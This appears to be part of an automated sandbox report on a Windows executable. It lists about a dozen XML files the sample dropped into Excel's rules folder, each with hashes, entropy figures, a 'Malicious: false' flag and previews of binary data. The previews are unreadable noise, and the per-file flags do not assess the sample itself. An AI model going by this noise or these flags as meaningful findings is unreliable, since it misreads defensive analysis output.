Preview:	<?xml.W.F......l&..\|}E..8;..[.=..^.?Mu...E.}0.2....f...1.RO........ .c...oE...3..6Iz.....K..eD.vi.V.OS.8.....1.i..=?........]X..j......zSJ.............&....9.....[k...jQ..c.s.l.^..:..Q..5.....V.....$..L..;....kp..8...6.}..n..u...]......@.9A.{...~Mp........3.D.f.+J%.6T.."..UM....!..X...?6GE.}...5.~..%..~<.......).d;I.#..;D.c.....z...4..<.....b...x]'....G..#.S...l.x.k..C2+9..VC...}.....Cg@>.&.L..D.V....._....d1T...E"..d.U'dJ...`...}U..f.....X.l.w........^.O...I;<>.v.Na.(..>$......w.~..sF(4g...c...7.R.#b..9.3.......U.B.E1s.7C...'.>`.)........J...A.p2....5,._%.._h..~g.a^..9..$.i......t-....7..SI...#..km.)....9.,ju.....\BE(0....\|L.%S.)..m.b........H.K.............!.5...y....8m..B}p7oE..\|.....w...6.k.cx..`.0.e\|...1.x.... Q:6S......mn.e.......8...n..`t.?(.......)..i.<..t. ..K^....5....D.e.0b.ZI...ya.kf).E.U.w]..v.1f.#.8...TIteQG.....z:...r..2.\|.lo..LK.C0..a.%\m...s&?..{=...0.K....I.....8_..R$r....E......1.b.<".SJ.8...\|c..[...i.J..a.9..........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701150v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.892136249963123
Encrypted:	false
SSDEEP:	48:iiOOKO2t4SEk/ArirQ4Au6PW5Q0eabu53Jsq3AmD:LOa2ttDArlWUmq3A+
MD5:	C96C47AC4347B64A18868BFA8596EB41
SHA1:	1EED69D6C03840C6FBECD547427D7F130ECBBB64
SHA-256:	FD45BAC7C1D2497FE6A8770D2C82701EE9D68F60C43DFFF4959B43D7424B1F6A
SHA-512:	5B652FBD8AAD2B168173A07358A1B0250B0ACA960571A78A7CE66436C0E19DB134A3E1B781257F0B59490030D952ED51F643FD54F5524554A93BC070EF7BC7DA
Malicious:	false
Preview:	<?xml._....Tw....J}7......BtW,+..TJ..=&}......Nk-A.....8.e.~.K..p........r....k.=z..d.{.~9o$...Z....).l...D!.~..VI8.r..._.....W{].,.j?........5"....o0.. ^..i........`.5).G.3..X..Jc....g.."..{g.Lob.m.0...................n.7..j.A_...i........sR."#.......lv.XH...3........V..;..x.q.N...k..5..N...B.>e4}.@.b..C...U.......`{......PJ......^ I..m.............x..'..D...+C...z...G...k+V(..g8):\|..L.......5...........{d.........Y%..}lxE8....p..e.;..L...U.>......_Tk.=pLQ..0}v..s.qq...e....xx....1x..4.su...BH^5S{.N&.Rq.."8......;p.f[1.....H..LC.u......Ft....7>!.y.......7@o....._..G..w.{..t.J...#......S.j..v.>.@..jsN....{.$w.6N]r......#.....I.......l....i...G..Q.0..ajR.4.PM.I.bY7......Q.u....S.\..`3.....n..Tl.......y....$q....8.....gM...`2.<..4.........(...Z..........[..Dbq.#..;K.\P....W.5.\{..z(...1.c...............ax..?#.#.T....K....S\|..7....I+.W8.Fo[.^(...*.4....Z.C^...r+.3.".@?efw#......'...5.d..R....2....!.s...x.1..d.r5....8..J......Zc.o..>#...dl.$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701151v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.88506514133518
Encrypted:	false
SSDEEP:	24:prb4fKnSuHny8N8c+uZIHK3OyN0J4VP/Udb/1Fjbzadcexy6UkJ3pj+QkchLsbD:Vb4fsauV3j8Y0pjHad5y6UkJ3pEchLmD
MD5:	7781CB6AD5494420D5E089BA5074D529
SHA1:	2D3997E90848C8062BA298A314A103D00355B6F7
SHA-256:	3478F70F6B5186983C42996418FB3359121DF4B3999533D839A3FC7ED42C2E50
SHA-512:	7741BE3FE75F1B0DCE19A1A3DF3831C19D8F7AD7BE8B4FE730AF71041FCA4FB784E2648C3E586FC6A6F3BAED24E3450BC6961080C6FB30D5D31B207599721AC1
Malicious:	false
Preview:	<?xml.,..\3X.......ds..R....r.h@.R.<w....:....-.s7f....VD.4Z.3.e...x.............[>3.t=..}..I.]...\|..Ez5..9.\|O.q..o6'^...n./....r..p....<_D..k.D.<.sj..9..6...J...".y\.(.h..z.]bE..M68.H...../.9.....e..^....`.a7&.V..0i...~.........q._..B)......%....k4..=.....F.zl8..3..G..._.X,.!=...Mt......z.Y.e&^.[..l.."d.H...ON.h.B...l.5.s=X..7....,....d.5.>...o"...o<.t..U"..S.%6...._S..2.........u...v.:=....3...<...&K..7..L\...U....<2f.P."...J......~......S-<...t4.".Ko.....[..t..&zm..].._.w....5......:......B....j.h.^.........~S9..=d'.s"....&...Pr.+....G.F...^.j.^..P.....P.i.).........eP. ..F@..U..jc.$P..R........N`7.,.?..........~.Y.>..2..H.V..'W....wT..;1....\|v.!k.kLd..^q...^..m..^...y..>.6.f.#...h..7.......x....c.....l..i..:..,.4..rsD.`&.Zq%D.Q...P].......'.H.=.t....n...u/...P.....,t...~....?G....Rs_#.6.$...^...`@yd...L.c..............1.:..kJ...Zk+K%s..U..T=......0Y."8H~%......I..3....C.....$........L...2.Usk.7...6...o.X........%;.r........Z....\|..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701200v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.889953877811373
Encrypted:	false
SSDEEP:	24:Pta8JAFclaNS869sdwQQRqzXBY9Tmt2M4hmINC9NkdvBN0HbNFRuxXyhv3sbD:pJoHNSN9dYXBeat4MI89qtHkrE053mD
MD5:	D000B7C692E8437E775BB32377F3578C
SHA1:	A8CEA5BF17C6D2245C093A14559AA57AB3CD4504
SHA-256:	032FC5C962231B4F98619F9E35C9979BE3867E7A2FC95BF019BBA2C10FE81D74
SHA-512:	17E7E84FFF111A8B2584C53F929D2FBE33983AEADD5DF2D8848BC60C94213491433CAACFD9112EA589329CC605714801DC34032DA0782461348B09AC9B51A767
Malicious:	false
Preview:	<?xml...K.]!....t.Et..q.x.....A.8nu.t_.%.a...2....z.&.... ./..(........~....\|_.8..u>U...C~.=$7....-f../..r.j...<...xV......,.l..8c..Q.t.k0?q....D.@....I.q..L(.>.\|...}.....o.JT:.p..\|hY..<./.k.".k..f...c..SL.#..@.Nw.L....w(.4 &=.#Qm...S.a.zGw..}}.N7W...I........5!..h.......f45.DN..8t....~..@...W)"f......L....t...t..Y..]>..V..U.v.Nl[k...u. ..v.}..z.c..j....R #....b.....#.....5b$[c.K\|7..d..%]....^".@.._SR%...s......8j.I.1...R...>?y>. .r.a...G.....u.....e.F?C.K_..8....zV..}..M...}4.\|...P.kW\.G(FK.d.SaH.....&.A~.....U..~.u..5.p.....KD_i.?ccF.s&.......S.*.L.q.])8.o..,A_.......p.Lz.QK4.+`.J.G..........>3ak..W..""h-\.k..?)..]..Ar.Q.].v....>oT..}.IH.3......"X.jTYa.OQH...,Lf....'.5G. e..E0."Z....e...'%...9...:P.....O...x.1...O.MGt..~b4.....E...j.mE#.+..es.....E.^.c.S..?1T.b0...2Z..D.5...jE.....#.X...S%.K..-kA^..N.Ddt.m!..`.....f..c'....<C....A..@4.RR.._.^...!?m.:..y..r..;u..x.$e.......bw..[.........o....m...de....L....3..r..$.4d....OX.......I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701201v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.876094104906014
Encrypted:	false
SSDEEP:	48:tN+Vte0oK02Ec5gi75oB3eMRd6loJneQ4VIvN/5mD:+JfNgRQrospI1B+
MD5:	92C682600988354FD03C3C2169A6DACC
SHA1:	5EC3662B0E703CCC9011228C461666336CA7180C
SHA-256:	D500630550BD9FFBAE43F5EFA3E1C25F530662BCF177ED8FB4D31792A5E0C1FF
SHA-512:	A068AD78BB35A24BEBB2FE4D44ABA91E39545125CCB8CC87E1ECD4106718A9C095F6045E136F307DF5F4C70219A773CB1B2B722BA00820A74E2F47CB449B8744
Malicious:	false
Preview:	<?xmlnz..qF.A...+I].u.)J..v..C.p.H.(....\.c".:i.n'+..,.}.`............./...v_......P.nz.....{.....tA.WP.....[......j.T..E.%....R..Tj.9l dA..aCu.J..+..a...5.<.p..p.M..k...\q..R.B".B...\^#&6.%.4z..N...S.[...XV.<y....N7b.V..{A..S...$....aws9.'K.....Y.^..DP1...H...j.iY..&v0....4..)1...$..Jb.o.;.BG...'.9.u..e..v.d..{8....ZC..hG.T..8~t^p.W....&.#m...b9Uk7..rM.@.I..J<C1..BX.kR.db<..+..R...~.x...@.Th.....u.......%.........@<E.c..e....../....%.b.l.P&.me.......%.\|..c.....Si....t..h...p...>I.=....."..D...v....~.....a.......z?....&.. v....l:.2yLw...rJ..4..{....<.O.?.\|.....;....0..+5.X.n...<#..$).'........,M].....Q.92.Y.\..:.....>.c..Pg.0.>T..f../.N.H....\^gs!V.g%....}.G@v.."....h..E.B<.;.V....3B.b.P.b..t4i.-.M...`_..g...K.s6L,.Z;.^Q..T.M{f.J..t4....[..Jl..+U. .z....-/...~\|.K......1.d.3...I...4...A......8eJq:.L.>..Hh......P.g....."(..l...I_H..r.:..21.q)0[.<..;<.M..}5..r.s..!.U...{..y[P"..O..FC.X.?..r..5.Y"./\._MH....9.(Dn..c....c-.\|...<...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701250v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.885824428705043
Encrypted:	false
SSDEEP:	48:gWAeLftsJAlY9EiQZG926pYMWGpGVaxC6DpdDUmD:DApA1ZG9dpPW9VaTddw+
MD5:	BBD40ECB543C47DAEC5F2B920D7EBF90
SHA1:	A128AAAE5674323029D744427FE6C9B7A5D2CCD9
SHA-256:	8575C29D58B4B265E689297FBA9B2A72A412FD1D3B8A642DB69E81326A8B517E
SHA-512:	DC66F41C189D988275BB25B75013D903B83D1DCB8D8040D5DFC096B650FA74AC3A105AF88ACD512C20408D866DDA69C323C6A6B8F0151566F3808E73FFF8C661
Malicious:	false
Preview:	<?xml...].\A}..DU.U..3....6..o9.T.`#.'z.&"..4...&.....7{..f.d.5CP..a.-....9XB..o.=>.!...#.P...ak}.{),.........+4.....T.u.v...M=.".yx..."6...L..#.........TJ.....mgJ.`..S..zD..`..S.hw.0.C.'....7..`y...AmL.....N...[2!......B...u{.......\|D.w...D.7.m..R@j....S......f...N......@...b..Rk.]..$.!...wI..l.I/.F.o,!.~...Ngb..N.D.......f..5.En.V..'.rA0A..}Q......KlJ..._K}..(XqV..MV..b.t....L....}QC9.3..u.,..Fw.dC..9...d..z%f...eN.......HP. ...F.dQ.3....p....~...A.B7.!l.'..Kw..=S\@...`....+.0./h.O$.8..q\|.59.H..{....s.w^...5S0......vc....<...xR0...I.gW.E>.kn}....S...P...U.r...cz"\|5^....YH=.i.....c. 4.pE.LI.]..sP\._#...}.v......$Qc..P...@+`.F\...]V.....Md..q..X'...5W.V..wu._..J...7/. O..w:...CE{..f....]w....>..r.....1.+*YtbE....].....M...Mx.E.S..7..8.V..yAd...{P!........:.d.N`.6jQ,...............)..i...[X..?8$.1.}.F....v....0]d.9....x1Q......'S/".........+ir......6JYQ....?m.L...m.[....v........f`t..(...@.X........wZ..-.2D..[D.t......8.....+yD.%.$X.?!..H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.882566106304896
Encrypted:	false
SSDEEP:	48:AtvOQfvTVb2+cEy+G/c7D4K7srorUWVfgmD:AtGobVSZw34HMfg+
MD5:	ED2FCC9B275EFF5B7C1A828DF9E7E125
SHA1:	B5D8497F27AEEE63F854139396BD69D32194646A
SHA-256:	23401242ED7D314D2C5E8C43A82B9C41EEE4CC31A7F00E4769D42DA696F79F94
SHA-512:	E05DF4DB96B1EB0925F713423136A80135EC1F520F67245D7D9CB3B70D4B79CE5166D6058DDE1F1359A0E2E284EBEDE0ED11CED4702D287D19517F82E8B3495B
Malicious:	false
Preview:	<?xmlv....()...B.%1...TW6&.....#.d....2$....6X&..."<\.K;..(...$......H...z_.TX........L......\..]..\|36.....@..Q.=.,.........\.b.D..-.q....5.a..9P..`.d.Q.R@k!....{M.+(M.u.+..........,...7..`..C.....58c.:z.ZfW......P...z.......9..).%...I.`.r:.I9u...ID.z....o.\.E.......a.....w..Q.w.Dy..#...$`1.#......?...\|3..3..}I...z2...f.......'.J..Q.gNmt....`f)+:.i..h .E./...x-A%....`.Q...M.k'L?..d'.1.s..8.h../..._).....]Y.......4..>......t.$j$..Sy..(!(5S..!..5....CD.g>.....l.T...J..91\n6.Q.8..wN4\...:.T..\|u...u.[)...l#.F.=..,.._...9z.....$._.9.%R.]...B?,..[......V.~.Z.78T.{...nF......^.v...!o.Z$..7:....Q....8..b.?.....$....R.Iya..pJt.G...Y.....9..._.NrJ..G.H)M5lP0...#Skg...G"...Y.g..........+...$w....zR?<..t.kV...s.E..2...0..:.). ...1........<]gv2]L?qk].5.3..^....p...U.....}..q.....K6....4%...D?.W?......]:;f......#..#.\|..R.W..$.?...tsx...R.#z.....f...@m....?7....p..P{...o_....k.)\|yP.Clb.....j.....&D.y..H[8...u.&.~.....65C.G..d...1.[`}..../

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.871302520182226
Encrypted:	false
SSDEEP:	48:vzFmBttsN+9M1ldHwH0cYNpLZEf0tRffAQoQhbn81iV6mD:vzgBOCMK0FPVECfAQr84o+
MD5:	3AFA288CD48984225A465BC00F0D76C9
SHA1:	39F41A567C722959DC8900C3284368706474B2BB
SHA-256:	C0725D95A9B0F837D42785E572D2361D1867D72E13E7F47B0895C752836C265B
SHA-512:	C30EC170FA081567E7924022A678ECE20423FFC35C0B107CE2C1CA616EEC5121D2F1BA0E278714DC8DFBFADD9E8055C3A873CA6F69C3D91C9CBC1A2E2DE3D81E
Malicious:	false
Preview:	<?xmlh.c...3b.Uh..5...v.b..T.Z.D.UH...y..e..Pk....M.s-:.K...z...YK....n.E..b.\0Uh.Z....t=...Mx.{.i.._..pb.Y..{.....O..6...n......)+u...Y/T.....5nR!T.H..\...o.l(.?30).U.&".g......#..`.9....._...:K...F(.."P.].c.$.[..8<...0.....+........@...W=....-a-.O.&..f/$d............^.ssR..l2~..{...P5se.q..0.........MM#.X\b.I[{..R.9)^@.Ya8_..........."....`.N..l.s...3.=0..Dl?X.8,.CCy...U+u..[~.c..c.{.lM^cs?U.e......'.......E.......r..AQ.D...(03.B. .....f.~\.. 2...]..C.>..+.3.>...4,d.....sR...=@......=..s...........r..M}Z._.>.;tDD..2.-.O...]..k.-P%.;....B.\..eJ`Do..U..KH.E..{.$a..1.c.<.......`...R".>.....'a&_...R....7?{.-...%.8..m.TzJ...LZk.8b....F[...T.k..,...`._1..S.q....8.T....n.Y.. .s..U.a........7u}..j..fuh...41..Im..3w...@..sNoX~c..$......3...jr..Y.s.D...].@..S..7.l.<5..t....IT.''q....NO......3...2jF..D1c9,-,`.)k.+.6f...........O..g....(.4.I....X..."..J........1z.=.r.rb....;=....nt.r....=..>F...6....-v....fi.`#..2..t.."N..z.hg..sDK.Rr.\[.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.891324351969493
Encrypted:	false
SSDEEP:	48:gSY2s5/LW+wkj7+iWqy2TQYZ96jCm3jl59mD:g12HZC7I72/wC6jl+
MD5:	BA2EB489E9E71DEBD485379892107BCD
SHA1:	1A379A56744643CD01B376687694B6734B8B79F4
SHA-256:	C44AC386BA528E2FB6A1AF994D2688F5C6CA9AED395CA8217C49C4B077C26D4B
SHA-512:	10ED2212DF376B237D3D5896DF41EBBDE3E9BF8858F66B1BCBD58A46F55930CE87BD54B45A6C4149B7FF9347B146825E9B708BFFD400F16CC1D8A40E1AD6103C
Malicious:	false
Preview:	<?xmlh:..X....Z...H>"f=.H!...7#...C.:....`7o.?...GJ.Q.tN.@hCy........0....4...~.eN.2..XZ.;TT..W....+....pa.nB........lX..J...].[N....=P..>..r..Y..,.OTWP..o.M.....!....O1.+.x0..!R..}.d>....8..3.X..+...1.}.........bx.v.?n...........o.......j.g.........\`.{....8.Jq..-..%_kr.....$......../fk..1f..K.N.i.j+.3..HA.oj.U.1..z.\D.92..4Q...d.L.bSt@wB..k)..I.^c.W.N.1..tf...QG..[...@...B.a...q.0n\|.......Wd.E..]....6.M..uS/k..D.......w..Y..5............h...........z.Y.0../..W...c1{.>aOb._....{.....z..M'k..v.......]...\|,.e.(.5./7.K.........W......BKc. ..!n..E.0.\$..._...o5E5..1.!.G.3"!.......4..ho..l><@.....o....P..5...?iHW...C[.<...EF2r..#.O..r.nd..1p+z...M...Z..U.,...../D9&..^...X..Z@...h^.. ..qN..\[......7Q......JfB.....Q\".q..\......Ckf....=..\A%..1R..<)....C3I..:....z.<..e..\......c..v.-.}\|...9..]..k[..H..}G .Q:.......a..;.Pr ... s......6.Lj.&.zG.t+.(...$ ..}..F...*W9@q.......F..jTZ}.....3c..v@oS`&..........8..H"..P.Ce....4 If.O.u.Y...._.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.878572348105987
Encrypted:	false
SSDEEP:	48:A3mVlvsfMJIE92IuM/Bas9VOA8UpPOqpK0Wi3mD:MmVJscnAIV8PUpj53+
MD5:	93BC3641170DDBDD6FB97BBE4CB8ACD4
SHA1:	B875CC960D62B44608201AFE90F43C86B3BD3BEB
SHA-256:	4C539101C84E1DADDF4E5B6182E47D166F892240CC42ADFA18CB248F9C29117A
SHA-512:	7B4BE86FC0E9D5EF9322D1555F268E2779E8B7CAD904635FC706B05F31EE6BA66E59D804B7EA7DBF9AF93E028AB0A85B5326302425A9A8326A7364669DC75C67
Malicious:	false
Preview:	<?xml}.BB..?.K.:..U!#r.....z9.`.hR..\|.k.T.o.6.o3qe.K.....\@"n'.C.....A...D.g.8..............K$K.0.....]...*..X.Bo..&.....;Q+.wT.hQ............M[..O...G..<G.5&.y^kg%.R...n.....JI..,?eKfr.X.`..A...v...9..<-<...y......&.h..R....&. ..:... ).jv..aD...G.,.....a^...........\|_{...i...........7j.R.......h.E.rr...D.^<>x...iXJ.M.Z.........GL;.E.gD..p.K..#9_.P....!f=..a~..r.!.!6...w.:...R.9...b.bQKu.:.......O..^.pL%u......Z....0.Q...~....._Q...4R...>CV2...At...\|..Z......l....Y....f.v..m. ...t_8....n..a.y..0.{.....x-..>JT.!..).n..md.........a.o...$....d:....G..C.=.'....2.i>Y....5&.o.{.}"j6..q9.Y."x1,....e.............y....Y.)..En.JO..........SS,.Z1.....4+OQD..s..6i<9.......E..u....(@z.......De.h,.;H.N'w.o........\|..vJ-..A.=.W...dO\|..;......Z..G.Z.L.q....,....\|.....%......d)..#Y~\.".0..mI$......u..\`.Y....W......Y....H.TC..m(v\|%d^.Zx.>..@a.`..M....R.`..H.w..\.!u....F;m.C...0R\.N..9.XW.3.<..S..9........p..K.b..V....../=..K].I.....&...%].(XS.._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.8734059315964116
Encrypted:	false
SSDEEP:	48:U7x4bwMgqAmgqJAkFwjpvOGN1TLL6Mo0GMtlRmUfmD:U7xawMgqzXJOjp2G73o0GMt7r+
MD5:	834B42D3AC9EBCFDB4F404B431CD81A7
SHA1:	EC498E6EB2AFC44187DCF9AC7CF59EBFDC54418D
SHA-256:	93E0022320198708C628BCC335CE5371F7DB8115FEED04BE008A05809EC0A74D
SHA-512:	1A8C452E94CDD6AC425131E6387AE8E1ADE3FBB43AC02C713DE1576E1BE3C1FA24E24E789F1E5E2351274F209F77C8458D75B38D4833C901C8652DA5627569ED
Malicious:	false
Preview:	<?xmlH0.cZ..>S1..T.A.inw..8gi....{5#...e_.?..~'........7..r.k..O.}......czfYsT.%.=......4%o..b6WZ\>bIk...W........w.....ye....nM..v\|.[`..z.......8...Fu.....dp..^CXO[...r`...O/D..NYL..U...3-.oVW..i.f..p.y.u...rd......O...O..\..=[o$..%3..CTM....b.......c......&.0J..@&r.~..V@DJG...1...)..)!.....#.P.(.>x..[H..Fr.~.hH.t..W.h........([J@.K...$..X..mX.+H....0.y:.l.,..{\|.N.EV.....!E-x..9.OBG.I......m.....M}.j....,.j{K>:......).:I..~<....I~.$\|:..{w#%.i.7.....M..0..g......s=...P.YX#.6....Q.xSI...$f.s..ul.."%!..=..a.\9^..7... ...r.p.oI.y3......+..d.!....M.3...:rs..+..."B...Fr.F_...s..u..3.....+........J.........."?.iv.......,.b<..%.L..,....K.b..l.?..\|.....Q.^...Z...X[..........A:d:"...!..S,...h`N%e.....z:..>.M.N%.'.S......&.6.c.fv..P.f.a....>..f.-.].~........._..z.I.'..p....a5...T....#iI.:.U).4.z.....C[h<[.g,=..]..\|.t.W.r.nT..F..BSk.GR...&.X6M.....,...9@.uE...Sv3G.Qs...?Pp3T(...l.F...NT.8/.tb$...].r..i.Z..,...)%.T.c..,......S.A.....S3.8.5.!]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.898206955609542
Encrypted:	false
SSDEEP:	48:Kyo8nTCs5jQpRcatcw4elkwB+nWh/nlzbeEJBSzZasxmD:jBnT55jQ56gl7+nWhteEkZ9x+
MD5:	C88FD01FC08A0518E2D35E55FB876A71
SHA1:	06C2E7AECCAE0D2292B654CA47C5281CB293DB5E
SHA-256:	979E81D41F297C65C8F4BD15F990732772A2045C912B5CDFF0DC17E617DF0049
SHA-512:	98601C4069A6F0FEC8BD0FB6B4910C75A5744241A128093F228AFB0268C54F2BCF6BAE7505A18D02D70F1D26E4467ACE8C514372E9EEC1C285975D0E085DB1BE
Malicious:	false
Preview:	<?xml.6,.....d^@;4/..e..Ff.....My ..~.....S.]s..... .c.v..U...@...v\....Z.l.m.i.:,..C....J......a...i&.. H.!..$..."~......T.........T.U.o...KZR03L....(.z..../...03."..3..d$.c.......{.3\|}Y.w17a2..3.j...t..j_C...x.\|s3b)......./q~..#.x...."....$.D.{#...s...m..E.m..T....CK].....b+.Z.MG.../.H..k..fE...{......#.2.1W....Z....=..uL.j....>l.Q..@..F...S0.../.3.F.@.O8...........n..}.-...8.Y.e....i..&y....U.`....Y.,7...^...$...i.^....j..]..9]....n....fy...a9......q...._`.<o.......=..zL.G(h..E/6efw........A.....V...LI...W`....rs.3Sq.w..a7.(*GJ.......Y..z......G.......o..U....Q9'.. Z.c.^......:I......xJ..M...;..I@.i.E.........i.x".1...pg'!.Q/....h...^r.JPnA..b......q...wH..."..7.........k....kh.9\D..X..U.W.$a.....?r.Es2^.....F;.....>.C\...J......%..6D.9.... ..`...........0...dD..5...<.5....3^...P1.ap.p...$..\d_T.L............_.@.P._..&...6J.NNk..u..9.:..bGA..M.+.ay4`..9.....o6b.Z....+Ba.`k.....as.....-..l....>\|.~Mz6.,..u.`g56..C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.879647749548458
Encrypted:	false
SSDEEP:	48:2PBiSvCLoe4Hc80W5l9DfBoDPS/ha3nAy/5DmD:krvCkr8kLt5jpaXAwD+
MD5:	E34ABBD1C25B791FADC001866F788F21
SHA1:	AB90E860FDB4CE2E3F4A506C27544557EC1F3665
SHA-256:	543A781A620E8EEB51F1C759164B4308D0FF435CDE7ABB3E272FC564A8E914CB
SHA-512:	0A1AFE36BB6ECF55AFFC6AD61E1A428AB7BF659B7ECB870C09B542362C0788B4B9F1DBEAD9473230BEB99418E06A4987EB125305D16156068C05F8E3371C32DB
Malicious:	false
Preview:	<?xml...R.0c.JK.-.B.C...d..po...uO...y.W....M.B..4..X.....mT.q..9..n.^J1....j+.'.w#J<.......G7}......@[..U........y).sF..fr@...G...@.....ef.(...B.}f......UYGx.....F..."{.).n..\......C..uF...A..#$..S.G....\|..@M.kT.L.>v6..A..0z]...Y^...F.k............]e....#Z.).j1.. ..\..u.s.....&LeC...[`.;uOG..=G.d.=.......A.&.Y.[...K..'w.Jc._..Z...U....H.)......].?l....s+.....j.D..n..t.`..e.5..L....:TK;...r.......I.%U..I..f.]..5.i.B.M.'5....p........w...6H6..J..vG3vDX.Y._.fF`......TXT....e....Zn._....;.F.7.......Mm^h.D.r'.....'.A....1.-.Q...u...i....r.~x..mK.q,.\..XcEy..Y.(3G..o..1....y..\|.(_..H..!Z.Yz........,.G....S...<...+F.D..9....;.m.v.z.........EP.x...C.]u.$.....d.h...l...X2....<l.rD....M.._L.6.....D...V.a.E.a}.....+B..V.^n<C.Q..........4.-.........?...\|.m'.~...f<..z.JQ0..0........X.9..9...v.;...d.....<d....z....6.......STr.......).u.t..BI.5.!qH.....b.X.#.....X...M.;...O?...7[.H/....b>./.5'......x....Yi...vs./..N1.\|...\|.....N....:9n.p0.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.868834361722669
Encrypted:	false
SSDEEP:	48:LExnPwkwFi7DR++ab/hb8Kmjk+RHjxtlMDmmD:YxnFgiJ++abl/Kk+pjmC+
MD5:	2ABAB537F7C92FA5274A619560353B5C
SHA1:	AB979F95F6D9A51BBC46004C6A5593A7C44C084F
SHA-256:	E35942648F7A6253E1D81E6CF34C032385EA622BF551A5179B9F58D46386A693
SHA-512:	0487BCA94085BFE7880AB7298AB015CA7BA53210FE50ACFE3CB3F8DB647BDC733240603F96CE273020BB6469CD5BF677CB562485F6782E2ECADAAA130BECE951
Malicious:	false
Preview:	<?xml........DW.@..gm\|..,...#hn^....'.....m..)._;.....KWt<H!.e......C.L........U.}T.....nA)IY(O.;...>(v.BAi=............ad...7..NU.... ...lO...t.&...l.......+8.\|V....7.{.Y...S,e1cX.j.&...S.J..w.D.D.ECRX....2.$5[.......Zu...O...uFM....X.\.Z.i?M..I#.......Q..=.......a..9..o0...R7.....7....a....S.`......f.+..8t;.\|... R&J+.7\|..,W..9].m.hI.:.q6y..SC9.5sS....5..2.w.....0.w)w)\..........<wv\.............;W._..s.2....J...t....qT...h.1...+/4..A..6_W.\...=.....q......RA....{F..u.........Dl.%[.B....g.7......B...<S.q..S..@=u.!Z...W..u..ZR.<i3R....b.w......r........2.C2Q.>.....Y.O...a.../.<....Sm....F.~.....[.E..<.....< L.B.s.T&p.7.d.p-.9.e......,m....u.5,..P...p..i..,.6.&..zSQ.....w........,B.#....a.{_>..6....u.a..L..R].....LH#7:....C..uc}.U.U........w.w$.E<..DV$#s.u....Fc..u..4.[pr...M...6.....".sc....3...k....V.Dt).s.}.........f.E.(.. .o.(D.r.E.,$..g.2../g'P~..T%....9.Mc..8.i...;.W.Y....\|.u..T..<q...%......P!.Z...F....)..........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.889541295974099
Encrypted:	false
SSDEEP:	24:B8+r/MNrsrdjblT1FKmnthmoR/l1HvYbSktlkdKqykxVDK+7ukzEDVHgcu3sbD:W+rB1FKmn7ZfvoFNQJ5zEDNgcwmD
MD5:	8706C31472892A432BB5F5F974E432A4
SHA1:	F8735B12FD17121732BC8CAE18B4DEC641399DD6
SHA-256:	825CFF8CBED1C254D0999A9F8377F50A853AF5167AD7BF3C5ADE72D79CDBDB79
SHA-512:	8BE7B6095CB7E01B8210336C4545916DB9616A8691BF4BE8CA872AD47EA4C646148C9A1CFDAEB2496B11D54224214F9D6FE73395E627E4B11A2B76E917B5855E
Malicious:	false
